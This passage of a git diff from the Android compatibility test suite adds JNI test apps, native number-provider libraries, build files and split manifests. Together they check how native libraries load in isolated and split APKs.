+    pFuncGetNumber functionGetNumber = (pFuncGetNumber)dlsym(handle, function_name);
+    if ((error = dlerror()) != NULL) {
+        LOGE("Can't load function %s: %s\n", function_name, error);
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+static jint get_number_a_via_proxy(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_a");
+}
+
+static jint get_number_b_via_proxy(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_b");
+}
+
+static jint get_number_a_from_provider(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_a.so", "get_number");
+}
+
+static jint get_number_b_from_provider(JNIEnv* env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_b.so", "get_number");
+}
+
+static const char* classPathName = "com/android/cts/isolatedsplitapp/Native";
+
+static JNINativeMethod methods[] = {
+        {"add", "(II)I", reinterpret_cast<void*>(add)},
+        {"getNumberAViaProxy", "()I", reinterpret_cast<void**>(get_number_a_via_proxy)},
+        {"getNumberBViaProxy", "()I", reinterpret_cast<void**>(get_number_b_via_proxy)},
+        {"getNumberADirectly", "()I", reinterpret_cast<void**>(get_number_a_from_provider)},
+        {"getNumberBDirectly", "()I", reinterpret_cast<void**>(get_number_b_from_provider)},
+};
+
+static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods,
+                                 int numMethods) {
+    jclass clazz;
+
+    clazz = env->FindClass(className);
+    if (clazz == NULL) {
+        LOGE("Native registration unable to find class '%s'", className);
+        return JNI_FALSE;
+    }
+    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
+        LOGE("RegisterNatives failed for '%s'", className);
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+static int registerNatives(JNIEnv* env) {
+    if (!registerNativeMethods(env, classPathName, methods, sizeof(methods) / sizeof(methods[0]))) {
+        return JNI_FALSE;
+    }
+
+    return JNI_TRUE;
+}
+
+jint JNI_OnLoad(JavaVM* vm, void* reserved) {
+    JNIEnv* env = NULL;
+
+    LOGI("JNI_OnLoad %s", classPathName);
+
+    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
+        LOGE("ERROR: GetEnv failed");
+        return JNI_ERR;
+    }
+
+    if (registerNatives(env) != JNI_TRUE) {
+        LOGE("ERROR: registerNatives failed");
+        return JNI_ERR;
+    }
+
+    return JNI_VERSION_1_6;
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java
new file mode 100644
index 0000000..342a7e8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/src/com/android/cts/isolatedsplitapp/jni/JniActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp.jni;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class JniActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String errorMessage = "";
+        try {
+            System.loadLibrary("splitappjni_isolated");
+        } catch (UnsatisfiedLinkError e) {
+            errorMessage = e.getMessage();
+        }
+
+        final Intent resultIntent = new Intent();
+        resultIntent.putExtra(Intent.EXTRA_RETURN_RESULT, errorMessage);
+        setResult(1, resultIntent);
+        finish();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
new file mode 100644
index 0000000..8f4c339
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/Native.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.isolatedsplitapp;
+
+public class Native {
+    static boolean sIsLoadedLibrary;
+    static {
+        try {
+            System.loadLibrary("splitappjni_isolated");
+            sIsLoadedLibrary = true;
+        } catch (UnsatisfiedLinkError e) {
+            sIsLoadedLibrary = false;
+        }
+    }
+
+    public static native int add(int numberA, int numberB);
+    public static native int getNumberAViaProxy();
+    public static native int getNumberBViaProxy();
+    public static native int getNumberADirectly();
+    public static native int getNumberBDirectly();
+    public static boolean isLoadedLibrary() {
+        return sIsLoadedLibrary;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index abc6257..e77da9c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -20,6 +20,7 @@
 import static org.junit.Assert.*;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -353,6 +354,48 @@
         assertActivityDoNotExist(FEATURE_C_ACTIVITY);
     }
 
+    @Test
+    public void testNativeJni_shouldBeLoaded() throws Exception {
+        assertThat(Native.add(7, 11), equalTo(18));
+    }
+
+    @Test
+    public void testNativeSplit_withoutExtractLibs_nativeLibraryCannotBeLoaded() throws Exception {
+        final Intent intent = new Intent();
+        intent.setClassName(PACKAGE, "com.android.cts.isolatedsplitapp.jni.JniActivity");
+        mActivityRule.launchActivity(intent);
+        mActivityRule.finishActivity();
+        Instrumentation.ActivityResult result = mActivityRule.getActivityResult();
+        final Intent resultData = result.getResultData();
+        final String errorMessage = resultData.getStringExtra(Intent.EXTRA_RETURN_RESULT);
+        assertThat(errorMessage, containsString("dlopen failed"));
+    }
+
+    @Test
+    public void testNative_getNumberADirectly_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberADirectly(), equalTo(7));
+    }
+
+    @Test
+    public void testNative_getNumberAViaProxy_shouldBeSeven() throws Exception {
+        assertThat(Native.getNumberAViaProxy(), equalTo(7));
+    }
+
+    @Test
+    public void testNative_getNumberBDirectly_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBDirectly(), equalTo(11));
+    }
+
+    @Test
+    public void testNative_getNumberBViaProxy_shouldBeEleven() throws Exception {
+        assertThat(Native.getNumberBViaProxy(), equalTo(11));
+    }
+
+    @Test
+    public void testNative_cannotLoadSharedLibrary() throws Exception {
+        assertThat(Native.isLoadedLibrary(), equalTo(false));
+    }
+
     private void assertActivityDoNotExist(ComponentName activity) {
         try {
             mActivityRule.launchActivity(new Intent().setComponent(activity));
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
index 63a2841..c5565c3 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -15,6 +15,7 @@
 android_test_helper_app {
     name: "CtsReadExternalStorageApp",
     defaults: ["cts_support_defaults"],
+    target_sdk_version: "29",
     sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
index 2cf72bf..5f5dd91 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -25,6 +25,7 @@
     static_libs: [
         "androidx.test.rules",
         "truth-prebuilt",
+        "hamcrest-library",
     ],
     libs: [
         "android.test.runner.stubs",
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
index 1a27d7a..2acd4cb 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
@@ -19,27 +19,40 @@
 # use the NDK with maximum backward compatibility, such as the NDK bundle in Android SDK.
 NDK_BUILD="$HOME/Android/android-ndk-r16b/ndk-build"
 
-function generateCopyRightComment {
-  local year=$1
+function generateCopyRightComment() {
+  local year="$1"
+  local isAndroidManifest="$2"
+  local lineComment='#'
+  local copyrightStart=""
+  local copyrightEnd=""
+  local commentStart=""
+  local commentEnd=""
+  if [[ -n "$isAndroidManifest" ]]; then
+    lineComment=""
+    copyrightStart=$'<!--\n'
+    copyrightEnd=$'\n-->'
+    commentStart='<!--'
+    commentEnd='-->'
+  fi
 
   copyrightInMk=$(
     cat <<COPYRIGHT_COMMENT
-# Copyright (C) ${year} The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+${copyrightStart}${lineComment} Copyright (C) ${year} The Android Open Source Project
+${lineComment}
+${lineComment} Licensed under the Apache License, Version 2.0 (the "License");
+${lineComment} you may not use this file except in compliance with the License.
+${lineComment} You may obtain a copy of the License at
+${lineComment}
+${lineComment}      http://www.apache.org/licenses/LICENSE-2.0
+${lineComment}
+${lineComment} Unless required by applicable law or agreed to in writing, software
+${lineComment} distributed under the License is distributed on an "AS IS" BASIS,
+${lineComment} WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+${lineComment} See the License for the specific language governing permissions and
+${lineComment} limitations under the License.${copyrightEnd}
 
-# Automatically generated file from build_libs.sh.
-# DO NOT MODIFY THIS FILE.
+${commentStart}${lineComment} Automatically generated file from build_libs.sh.${commentEnd}
+${commentStart}${lineComment} DO NOT MODIFY THIS FILE.${commentEnd}
 
 COPYRIGHT_COMMENT
   )
@@ -59,8 +72,9 @@
 }
 
 function generateAndroidManifest {
-  local targetFile=$1
-  local arch=$2
+  local targetFile="$1"
+  local arch="$2"
+  local splitNamePart="$3"
   (
     cat <<ANDROIDMANIFEST
 <?xml version="1.0" encoding="utf-8"?>
@@ -68,7 +82,7 @@
 <!-- DO NOT MODIFY THIS FILE. -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.splitapp"
-        split="lib_${arch}">
+        split="lib${splitNamePart}_${arch}">
     <application android:hasCode="false" />
 </manifest>
 ANDROIDMANIFEST
@@ -78,14 +92,9 @@
 
 function generateModuleForContentPartialMk {
   local arch="$1"
-  local packagePartialName=""
-  local rawDir="raw"
-  local aaptRevisionFlags=""
-  if [[ -n "$2" ]]; then
-    packagePartialName="_revision${2}"
-    rawDir="raw_revision"
-    aaptRevisionFlags=" --revision-code ${2}"
-  fi
+  local packagePartialName="$2"
+  local rawDir="$3"
+  local aaptRevisionFlags="$4"
 
   localPackage=$(
     cat <<MODULE_CONTENT_FOR_PARTIAL_MK
@@ -113,8 +122,10 @@
   local targetFile="$1"
   local arch="$2"
   local copyrightInMk=$(generateCopyRightComment "2014")
-  local baseSplitMkModule=$(generateModuleForContentPartialMk "${arch}")
-  local revisionSplitMkModule=$(generateModuleForContentPartialMk "${arch}" 12)
+  local baseSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "" "raw" "")
+  local revisionSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "_revision12" \
+      "raw_revision" " --revision-code 12")
+
   (
     cat <<LIBS_ARCH_ANDROID_MK
 #
@@ -143,7 +154,8 @@
     mv tmp/$arch/raw/lib/$arch/libsplitappjni_revision.so \
       tmp/$arch/raw_revision/lib/$arch/libsplitappjni.so
 
-    generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${arch//[^a-zA-Z0-9_]/_}"
+    archWithoutDash="${arch//[^a-zA-Z0-9_]/_}"
+    generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${archWithoutDash}" ""
 
     generateAndroidMk "tmp/$arch/Android.mk" "$arch"
   )
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
new file mode 100644
index 0000000..8a60617
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.bp
@@ -0,0 +1,128 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_defaults {
+    name: "split_native_defaults",
+    gtest: false,
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    target: {
+        android_arm: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"armeabi-v7a\"",
+            ],
+        },
+        android_arm64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"arm64-v8a\"",
+            ],
+        },
+        android_x86: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86\"",
+            ],
+        },
+        android_x86_64: {
+            cflags: [
+                "-D__ANDROID_ARCH__=\"x86_64\"",
+            ],
+        },
+    },
+    sdk_version: "current",
+}
+
+cc_defaults {
+    name: "split_number_provider_defaults",
+    defaults: ["split_native_defaults"],
+    srcs: ["number_providers.cpp"],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_a",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_provider_b",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO=1",
+    ],
+}
+
+cc_test_library {
+    name: "libsplitapp_number_proxy",
+    defaults: ["split_number_provider_defaults"],
+    cflags: [
+        "-DANDROID_SPLIT_APP_NUMBER_PROXY_SO=1",
+    ],
+}
+
+
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
+
+/**
+  * Non-isolated split feature
+  */
+java_defaults {
+    name: "CtsSplitTestHelperApp_defaults",
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--replace-version",
+        "--version-code 100",
+    ],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_number_provider_defaults",
+    defaults: ["CtsSplitTestHelperApp_defaults"],
+    compile_multilib: "both",
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_a",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_provider_b",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp_number_proxy",
+    defaults: ["CtsSplitTestHelperApp_number_provider_defaults"],
+    manifest: "AndroidManifest_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    test_suites: TARGET_TEST_SUITES,
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index 84e88dc..46894ce 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -18,6 +18,15 @@
 #          Please don't change this file to Android.bp.
 LOCAL_PATH := $(call my-dir)
 
+# Default cflags
+MY_CFLAGS :=  -Wall -Werror -Wno-unused-parameter -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+
+# If the TARGET_ARCH_ABI is 32bit, it adds __LIVE_ONLY_32BIT__ in MY_CFLAGS.
+ABIS_FOR_32BIT_ONLY := armeabi-v7a armeabi x86 mips
+ifneq ($(filter $(TARGET_ARCH_ABI),$(ABIS_FOR_32BIT_ONLY)),)
+MY_CFLAGS += -D__LIVE_ONLY_32BIT__=1
+endif
+
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := libsplitappjni
@@ -25,7 +34,7 @@
 
 LOCAL_LDLIBS += -llog
 
-LOCAL_CFLAGS := -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\"
+LOCAL_CFLAGS := $(MY_CFLAGS)
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
@@ -39,8 +48,7 @@
 
 LOCAL_LDLIBS += -llog
 
-LOCAL_CFLAGS := -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\" \
-                -D__REVISION_HAVE_SUB__=1
+LOCAL_CFLAGS := $(MY_CFLAGS) -D__REVISION_HAVE_SUB__=1
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
new file mode 100644
index 0000000..1c6f2f1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_a.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_a">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
new file mode 100644
index 0000000..ee9baf5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_provider_b.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_provider_b">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
new file mode 100644
index 0000000..9d5c84e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/AndroidManifest_number_proxy.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Automatically generated file from build_libs.sh.-->
+<!-- DO NOT MODIFY THIS FILE.-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_number_proxy">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
index eafb658..0329395 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/com_android_cts_splitapp_Native.cpp
@@ -18,12 +18,61 @@
 
 #include <android/log.h>
 #include <stdio.h>
+#include <dlfcn.h>
 
 #include "jni.h"
 
 #define  LOGE(...)  __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
 #define  LOGI(...)  __android_log_print(ANDROID_LOG_INFO,LOG_TAG,__VA_ARGS__)
 
+typedef int (*pFuncGetNumber)();
+
+static jint get_number_from_other_library(
+        const char* library_file_name, const char* function_name) {
+    void *handle;
+    char *error;
+    handle = dlopen (library_file_name, RTLD_LAZY);
+    if (!handle) {
+        LOGE("Can't load %s: %s\n", library_file_name, dlerror());
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, function_name);
+    if ((error = dlerror()) != NULL)  {
+        LOGE("Can't load function %s: %s\n", function_name, error);
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+static jint get_number_a_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_a");
+}
+
+static jint get_number_b_via_proxy(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_proxy.so", "get_number_b");
+}
+
+static jint get_number_a_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_a.so", "get_number");
+}
+
+static jint get_number_b_from_provider(JNIEnv *env, jobject thiz) {
+    return get_number_from_other_library("libsplitapp_number_provider_b.so", "get_number");
+}
+
+#ifdef __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 32
+#else // __LIVE_ONLY_32BIT__
+#define ABI_BITNESS 64
+#endif // __LIVE_ONLY_32BIT__
+
+static jint get_abi_bitness(JNIEnv* env, jobject thiz) {
+    return ABI_BITNESS;
+}
 
 static jint add(JNIEnv *env, jobject thiz, jint a, jint b) {
     int result = a + b;
@@ -49,9 +98,14 @@
 static const char *classPathName = "com/android/cts/splitapp/Native";
 
 static JNINativeMethod methods[] = {
+        {"getAbiBitness", "()I", (void*)get_abi_bitness},
         {"add", "(II)I", (void*)add},
         {"arch", "()Ljava/lang/String;", (void*)arch},
         {"sub", "(II)I", (void*)sub},
+        {"getNumberAViaProxy", "()I", (void*) get_number_a_via_proxy},
+        {"getNumberBViaProxy", "()I", (void*) get_number_b_via_proxy},
+        {"getNumberADirectly", "()I", (void*) get_number_a_from_provider},
+        {"getNumberBDirectly", "()I", (void*) get_number_b_from_provider},
 };
 
 static int registerNativeMethods(JNIEnv* env, const char* className, JNINativeMethod* gMethods, int numMethods) {
@@ -90,9 +144,9 @@
     JNIEnv* env = NULL;
 
 #ifdef __REVISION_HAVE_SUB__
-    LOGI("JNI_OnLoad revision");
+    LOGI("JNI_OnLoad revision %d bits", ABI_BITNESS);
 #else  // __REVISION_HAVE_SUB__
-    LOGI("JNI_OnLoad");
+    LOGI("JNI_OnLoad %d bits", ABI_BITNESS);
 #endif // __REVISION_HAVE_SUB__
 
     if (vm->GetEnv(&uenv.venv, JNI_VERSION_1_4) != JNI_OK) {
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
new file mode 100644
index 0000000..ff19355
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/number_providers.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * The content of libsplitapp_number_provider_proxy.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+#include <dlfcn.h>
+
+const char* kFunctionName = "get_number";
+
+typedef int (*pFuncGetNumber)();
+
+int get_number(const char* libraryFileName) {
+    void *handle;
+    char *error;
+    handle = dlopen (libraryFileName, RTLD_LAZY);
+    if (!handle) {
+        return -1;
+    }
+    pFuncGetNumber functionGetNumber = (pFuncGetNumber) dlsym(handle, kFunctionName);
+    if ((error = dlerror()) != NULL)  {
+        dlclose(handle);
+        return -2;
+    }
+    int ret = functionGetNumber();
+    dlclose(handle);
+
+    return ret;
+}
+
+int get_number_a() {
+    return get_number("libsplitapp_number_provider_a.so");
+}
+
+int get_number_b() {
+    return get_number("libsplitapp_number_provider_b.so");
+}
+
+#endif // ANDROID_SPLIT_APP_NUMBER_PROXY_SO
+
+/**
+ * The content of libsplitapp_number_provider_a.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+int get_number() {
+    return 7;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_A_SO
+
+
+/**
+ * The content of libsplitapp_number_provider_b.so
+ */
+#ifdef ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+int get_number() {
+    return 11;
+}
+#endif // ANDROID_SPLIT_APP_NUMBER_PROVIDER_B_SO
+
+#ifdef __cplusplus
+}
+#endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
index 97d7860..427a89e 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
index a46d0e3..86f2b35 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/raw_revision/lib/arm64-v8a/libsplitappjni.so
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
index ec5b2fe..ddf14e0 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/raw/lib/armeabi-v7a/libsplitappjni.so
